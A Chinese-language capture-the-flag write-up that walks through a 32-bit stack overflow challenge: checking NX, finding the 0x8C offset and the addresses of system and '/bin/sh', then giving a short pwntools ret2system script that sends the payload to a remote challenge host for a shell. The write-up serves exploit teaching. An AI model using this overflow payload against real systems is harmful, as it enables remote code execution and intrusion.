我们拿到程序,先运行一下,发现没有特别的地方
查看程序的保护机制

发现开启了NX保护,就是栈不可执行(ctfwiki上好像有详细说明)
查看main函数

发现有一个vul这个函数,跟进去看看

首先我们得到偏移为0x88+0x4:这个程序为32位程序,所以main函数中的ebp的值在栈上是32位,也就是4个字节,所以加0x4才能到达函数的返回地址
这个题是提示我们是ROP,那自然想到找一下system函数的地址和"/bin/sh"字符串的地址,先找下system的

奈斯,接着shift+f12找binsh

然后跟进去,发现binsh字符串的地址

然后直接写exp打一下
不过有个点要注意,system函数调用后会有一个返回地址,我们直接用p32函数写个零进去就行(或者写私四个垃圾字符'aaaa'之类的,因为我们只要拿到shell就行了)

from pwn import *

ip = '124.126.19.106'
port = '30353'
r = remote(ip,port)

offset = 0x88 + 0x4
system_addr = 0x08048320
binsh_addr = 0x0804a024

payload = 'A' * offset + p32(system_addr) + p32(0) + p32(binsh_addr)

r.sendline(payload)
r.interactive()

奈斯,然后直接cat flag